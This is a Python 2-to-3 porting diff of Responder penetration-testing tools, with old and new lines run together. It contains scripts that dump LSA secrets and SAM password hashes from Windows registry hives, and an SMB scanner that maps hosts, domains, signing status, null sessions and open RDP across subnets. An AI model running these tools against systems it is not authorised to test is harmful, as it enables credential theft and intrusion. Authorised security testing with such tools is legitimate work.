N+=length N += length
return result return result
if len(sys.argv) < 3:
print "usage: %s Bootkey <security hive>" % sys.argv[0]
sys.exit(1)
secrets = get_file_secrets(sys.argv[1].decode("hex"), sys.argv[2]) if len(sys.argv) < 4 or sys.argv[3].lower() not in ["true", "false"]:
showUsage()
sys.exit(1)
else:
vista = sys.argv[3].lower() == "true"
secrets = get_file_secrets(sys.argv[1], sys.argv[2], vista)
if not secrets: if not secrets:
print "Unable to read LSA secrets. Perhaps you provided invalid hive files?" print("Unable to read LSA secrets. Perhaps you provided invalid hive files?")
sys.exit(1) sys.exit(1)
for k in secrets: for k in secrets:
print k print(k.decode())
print dump(secrets[k], length=16) print(dump(secrets[k], length=16))

View File

@@ -25,7 +25,7 @@ import sys
from framework.win32.hashdump import dump_file_hashes from framework.win32.hashdump import dump_file_hashes
if len(sys.argv) < 3: if len(sys.argv) < 3:
print "usage: %s bootkey SAM_File" % sys.argv[0] print("usage: %s <system hive> <SAM hive>" % sys.argv[0])
sys.exit(1) sys.exit(1)
dump_file_hashes(sys.argv[1].decode("hex"), sys.argv[2]) dump_file_hashes(sys.argv[1], sys.argv[2])

View File

@@ -1,5 +1,5 @@
#!/usr/bin/env python #!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools # This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie. # created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com # email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify # This program is free software: you can redistribute it and/or modify
@@ -14,279 +14,278 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import re,sys,socket,struct import re,sys,struct
import datetime import datetime
import multiprocessing import multiprocessing
from socket import * from socket import *
from odict import OrderedDict from odict import OrderedDict
import optparse import optparse
from RunFingerPackets import *
__version__ = "0.6" __version__ = "1.0"
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0]) parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None) parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
parser.add_option('-g','--grep', action="store_true", dest="Grep", default=False, help="Output in grepable format") parser.add_option('-g','--grep', action="store_true", dest="grep_output", default=False, help="Output in grepable format")
options, args = parser.parse_args() options, args = parser.parse_args()
if options.TARGET is None: if options.TARGET is None:
print "\n-i Mandatory option is missing, please provide a target or target range.\n" print("\n-i Mandatory option is missing, please provide a target or target range.\n")
parser.print_help() parser.print_help()
exit(-1) exit(-1)
Timeout = 2 Timeout = 2
Host = options.TARGET Host = options.TARGET
Grep = options.Grep
class Packet(): class Packet():
fields = OrderedDict([ fields = OrderedDict([
]) ])
def __init__(self, **kw): def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields) self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items(): for k,v in list(kw.items()):
if callable(v): if callable(v):
self.fields[k] = v(self.fields[k]) self.fields[k] = v(self.fields[k])
else: else:
self.fields[k] = v self.fields[k] = v
def __str__(self): def __str__(self):
return "".join(map(str, self.fields.values())) return "".join(map(str, list(self.fields.values())))
#Python version
if (sys.version_info > (3, 0)):
PY2OR3 = "PY3"
else:
PY2OR3 = "PY2"
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 is "PY2":
return struct.pack(endian, data)
#Python3...
else:
return struct.pack(endian, data).decode('latin-1')
def NetworkSendBufferPython2or3(data):
if PY2OR3 is "PY2":
return str(data)
else:
return bytes(str(data), 'latin-1')
def NetworkRecvBufferPython2or3(data):
if PY2OR3 is "PY2":
return str(data)
else:
return str(data.decode('latin-1'))
def longueur(payload): def longueur(payload):
length = struct.pack(">i", len(''.join(payload))) length = StructWithLenPython2or3(">i", len(''.join(payload)))
return length return length
def GetBootTime(data): def GetBootTime(data):
Filetime = int(struct.unpack('<q',data)[0]) try:
t = divmod(Filetime - 116444736000000000, 10000000) Filetime = int(struct.unpack('<q',data)[0])
time = datetime.datetime.fromtimestamp(t[0]) t = divmod(Filetime - 116444736000000000, 10000000)
return time, time.strftime('%Y-%m-%d %H:%M:%S') time = datetime.datetime.fromtimestamp(t[0])
return time, time.strftime('%Y-%m-%d %H:%M:%S')
class SMBHeader(Packet): except:
fields = OrderedDict([ pass
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x00"),
("flag2", "\x00\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x00\x00"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNego(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBNegoData(Packet):
fields = OrderedDict([
("BuffType","\x02"),
("Dialect", "NT LM 0.12\x00"),
])
class SMBSessionFingerData(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\x00\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1","\xb1\x00"), #hardcoded len here and hardcoded packet below, no calculation, faster.
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])
##Now Lanman
class SMBHeaderLanMan(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x08"),
("flag2", "\x01\xc8"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x3c\x1b"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
#We grab the domain and hostname from the negotiate protocol answer, since it is in a Lanman dialect format.
class SMBNegoDataLanMan(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x0c\x00"),#hardcoded len here and hardcoded packet below, no calculation, faster.
("BuffType","\x02"),
("Dialect", "NT LM 0.12\x00"),
])
##################### #####################
def IsSigningEnabled(data): def IsSigningEnabled(data):
if data[39] == "\x0f": if data[39] == "\x0f":
return True return True
else: else:
return False return False
def atod(a): def atod(a):
return struct.unpack("!L",inet_aton(a))[0] return struct.unpack("!L",inet_aton(a))[0]
def dtoa(d): def dtoa(d):
return inet_ntoa(struct.pack("!L", d)) return inet_ntoa(struct.pack("!L", d))
def OsNameClientVersion(data): def OsNameClientVersion(data):
try: try:
length = struct.unpack('<H',data[43:45])[0] length = struct.unpack('<H',data[43:45].encode('latin-1'))[0]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]]) if length > 255:
if OsVersion == "Unix": OsVersion, ClientVersion = tuple([e.replace("\x00", "") for e in data[47+length:].split('\x00\x00\x00')[:2]])
OsVersion = ClientVersion return OsVersion, ClientVersion
return OsVersion, ClientVersion if length <= 255:
OsVersion, ClientVersion = tuple([e.replace("\x00", "") for e in data[46+length:].split('\x00\x00\x00')[:2]])
except: return OsVersion, ClientVersion
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version" except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def GetHostnameAndDomainName(data): def GetHostnameAndDomainName(data):
try: try:
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]]) Time = GetBootTime(data[60:68])
Time = GetBootTime(data[60:68]) data = NetworkRecvBufferPython2or3(data)
return Hostname, DomainJoined, Time DomainJoined, Hostname = tuple([e.replace("\x00", "") for e in data[81:].split('\x00\x00\x00')[:2]])
except: #If max length domain name, there won't be a \x00\x00\x00 delineator to split on
return "Could not get Hostname.", "Could not get Domain joined" if Hostname == '':
DomainJoined = data[81:110].decode('latin-1')
Hostname = data[113:].decode('latin-1')
return Hostname, DomainJoined, Time
except:
return "Could not get Hostname.", "Could not get Domain joined"
def DomainGrab(Host): def DomainGrab(Host):
s = socket(AF_INET, SOCK_STREAM) s = socket(AF_INET, SOCK_STREAM)
try: try:
s.settimeout(Timeout) s.settimeout(Timeout)
s.connect(Host) s.connect(Host)
except: except:
print "Host down or port close, skipping" pass
pass
try: try:
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00") h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
n = SMBNegoDataLanMan() n = SMBNegoDataLanMan()
packet0 = str(h)+str(n) packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0 buffer0 = longueur(packet0)+packet0
s.send(buffer0) s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048) data = s.recv(2048)
s.close() s.close()
if data[8:10] == "\x72\x00": if data[8:10] == b'\x72\x00':
return GetHostnameAndDomainName(data) return GetHostnameAndDomainName(data)
except: except:
pass pass
def SmbFinger(Host): def SmbFinger(Host):
s = socket(AF_INET, SOCK_STREAM) s = socket(AF_INET, SOCK_STREAM)
try: try:
s.settimeout(Timeout) s.settimeout(Timeout)
s.connect(Host) s.connect(Host)
except: except:
print "Host down or port close, skipping" pass
pass try:
try: h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8") n = SMBNego(Data = SMBNegoData())
n = SMBNego(Data = SMBNegoData()) n.calculate()
n.calculate() packet0 = str(h)+str(n)
packet0 = str(h)+str(n) buffer0 = longueur(packet0)+packet0
buffer0 = longueur(packet0)+packet0 s.send(NetworkSendBufferPython2or3(buffer0))
s.send(buffer0) data = s.recv(2048)
data = s.recv(2048) signing = IsSigningEnabled(data)
signing = IsSigningEnabled(data) if data[8:10] == b'\x72\x00':
if data[8:10] == "\x72\x00": head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00") t = SMBSessionFingerData()
t = SMBSessionFingerData() packet0 = str(head)+str(t)
packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0
buffer1 = longueur(packet0)+packet0 s.send(NetworkSendBufferPython2or3(buffer1))
s.send(buffer1) data = s.recv(2048)
data = s.recv(2048) if data[8:10] == b'\x73\x16':
s.close() OsVersion, ClientVersion = OsNameClientVersion(NetworkRecvBufferPython2or3(data))
if data[8:10] == "\x73\x16": return signing, OsVersion, ClientVersion
OsVersion, ClientVersion = OsNameClientVersion(data)
return signing, OsVersion, ClientVersion
except: except:
pass pass
def check_smb_null_session(host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(host)
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048)
if data[8:10] == b'\x72\x00':
h = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x17\xc8",mid="\x40\x00")
n = SMBSessionData()
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048)
if data[8:10] == b'\x73\x16':
h = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x17\xc8",uid=data[32:34].decode('latin-1'),mid="\x80\x00")
n = SMBSession2()
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048)
if data[8:10] == b'\x73\x00':
h = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",uid=data[32:34].decode('latin-1'),mid="\xc0\x00")
n = SMBTreeConnectData()
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048)
if data[8:10] == b'\x75\x00':
return True
else:
return False
except Exception:
pass
return False
################## ##################
#run it #run it
def ShowResults(Host): def ShowResults(Host):
s = socket(AF_INET, SOCK_STREAM)
try: try:
s.settimeout(Timeout) Hostname, DomainJoined, Time = DomainGrab((Host, 445))
s.connect(Host) Signing, OsVer, LanManClient = SmbFinger((Host, 445))
NullSess = check_smb_null_session((Host, 445))
print(("Retrieving information for %s..."%(Host)))
print(("SMB signing: %s"%(Signing)))
print(("Null Sessions Allowed: %s"%(NullSess)))
print(("Server Time: %s"%(Time[1])))
print(("OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)))
print(("Machine Hostname: '%s'\nThis machine is part of the '%s' domain"%(Hostname, DomainJoined)))
print(("RDP port open: '%s'\n"%(IsRDPOn((Host,3389)))))
except: except:
return False pass
try:
print "Retrieving information for %s..."%Host[0]
Hostname, DomainJoined, Time = DomainGrab(Host)
Signing, OsVer, LanManClient = SmbFinger(Host)
print "SMB signing:", Signing
print "Server Time:", Time[1]
print "Os version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
except:
pass
def ShowSmallResults(Host): def ShowSmallResults(Host):
s = socket(AF_INET, SOCK_STREAM) s = socket(AF_INET, SOCK_STREAM)
try: try:
s.settimeout(Timeout) s.settimeout(Timeout)
s.connect(Host) s.connect((Host, 445))
except: except:
return False return False
try: try:
Hostname, DomainJoined, Time = DomainGrab(Host) Hostname, DomainJoined, Time = DomainGrab((Host, 445))
Signing, OsVer, LanManClient = SmbFinger(Host) Signing, OsVer, LanManClient = SmbFinger((Host, 445))
Message = "['%s', Os:'%s', Domain:'%s', Signing:'%s', Time:'%s']"%(Host[0], OsVer, DomainJoined, Signing, Time[1]) NullSess = check_smb_null_session((Host, 445))
print Message print(("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: '{}', RDP:'{}']".format(Host, OsVer, DomainJoined, Signing, Time[1],NullSess,IsRDPOn((Host,3389)))))
except: except Exception as err:
pass pass
def IsGrepable(): def IsRDPOn(Host):
if options.Grep: s = socket(AF_INET, SOCK_STREAM)
return True try:
else: s.settimeout(Timeout)
return False s.connect(Host)
if s:
return True
else:
return False
except Exception as err:
return False
def RunFinger(Host): def RunFinger(Host):
m = re.search("/", str(Host)) m = re.search("/", str(Host))
if m : if m:
net,_,mask = Host.partition('/') net,_,mask = Host.partition('/')
mask = int(mask) mask = int(mask)
net = atod(net) net = atod(net)
threads = [] threads = []
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)): if options.grep_output:
if IsGrepable(): func = ShowSmallResults
p = multiprocessing.Process(target=ShowSmallResults, args=((host,445),)) else:
threads.append(p) func = ShowResults
p.start() for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
else: p = multiprocessing.Process(target=func, args=((host),))
p = multiprocessing.Process(target=ShowResults, args=((host,445),)) threads.append(p)
threads.append(p) p.start()
p.start()
else: else:
if IsGrepable(): if options.grep_output:
ShowSmallResults((Host,445)) ShowSmallResults(Host)
else: else:
ShowResults((Host,445)) ShowResults(Host)
RunFinger(Host) RunFinger(Host)

418
tools/RunFingerPackets.py Normal file
View File

@@ -0,0 +1,418 @@
import random, struct, sys
from socket import *
from time import sleep
from odict import OrderedDict
#Python version
if (sys.version_info > (3, 0)):
PY2OR3 = "PY3"
else:
PY2OR3 = "PY2"
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 is "PY2":
return struct.pack(endian, data)
#Python3...
else:
return struct.pack(endian, data).decode('latin-1')
class Packet():
fields = OrderedDict([
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in list(kw.items()):
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, list(self.fields.values())))
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x00"),
("flag2", "\x00\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x00\x00"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNego(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
class SMBNegoData(Packet):
fields = OrderedDict([
("BuffType","\x02"),
("Dialect", "NT LM 0.12\x00"),
])
class SMBSessionFingerData(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\x00\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1","\xb1\x00"), #hardcoded len here and hardcoded packet below, no calculation, faster.
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])
##Now Lanman
class SMBHeaderLanMan(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x08"),
("flag2", "\x01\xc8"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x3c\x1b"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
#We grab the domain and hostname from the negotiate protocol answer, since it is in a Lanman dialect format.
class SMBNegoDataLanMan(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x0c\x00"),#hardcoded len here and hardcoded packet below, no calculation, faster.
("BuffType","\x02"),
("Dialect", "NT LM 0.12\x00"),
])
class SMBSessionData(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\xec\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1","\xb1\x00"),
("ApplicationHeaderTag","\x60"),
("ApplicationHeaderLen","\x48"),
("AsnSecMechType","\x06"),
("AsnSecMechLen","\x06"),
("AsnSecMechStr","\x2b\x06\x01\x05\x05\x02"),
("ChoosedTag","\xa0"),
("ChoosedTagStrLen","\x3e"),
("NegTokenInitSeqHeadTag","\x30"),
("NegTokenInitSeqHeadLen","\x3c"),
("NegTokenInitSeqHeadTag1","\xA0"),
("NegTokenInitSeqHeadLen1","\x0e"),
("NegTokenInitSeqNLMPTag","\x30"),
("NegTokenInitSeqNLMPLen","\x0c"),
("NegTokenInitSeqNLMPTag1","\x06"),
("NegTokenInitSeqNLMPTag1Len","\x0a"),
("NegTokenInitSeqNLMPTag1Str","\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
("NegTokenInitSeqNLMPTag2","\xa2"),
("NegTokenInitSeqNLMPTag2Len","\x2a"),
("NegTokenInitSeqNLMPTag2Octet","\x04"),
("NegTokenInitSeqNLMPTag2OctetLen","\x28"),
("NegTokenInitSeqMechSignature","\x4E\x54\x4c\x4d\x53\x53\x50\x00"),
("NegTokenInitSeqMechMessageType","\x01\x00\x00\x00"),
("NegTokenInitSeqMechMessageFlags","\x07\x82\x08\xa2"),
("NegTokenInitSeqMechMessageDomainNameLen","\x00\x00"),
("NegTokenInitSeqMechMessageDomainNameMaxLen","\x00\x00"),
("NegTokenInitSeqMechMessageDomainNameBuffOffset","\x00\x00\x00\x00"),
("NegTokenInitSeqMechMessageWorkstationNameLen","\x00\x00"),
("NegTokenInitSeqMechMessageWorkstationNameMaxLen","\x00\x00"),
("NegTokenInitSeqMechMessageWorkstationNameBuffOffset","\x00\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionHigh","\x05"),
("NegTokenInitSeqMechMessageVersionLow","\x01"),
("NegTokenInitSeqMechMessageVersionBuilt","\x28\x0a"),
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
("NegTokenInitSeqMechMessageVersionTerminator","\x00"),
("nativeOs","Windows 2002 Service Pack 3 2600".encode('utf-16le').decode('latin-1')),
("nativeOsterminator","\x00\x00"),
("nativelan","Windows 2002 5.1".encode('utf-16le').decode('latin-1')),
("nativelanterminator","\x00\x00\x00\x00"),
])
def calculate(self):
data1 = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
data2 = str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
data3 = str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
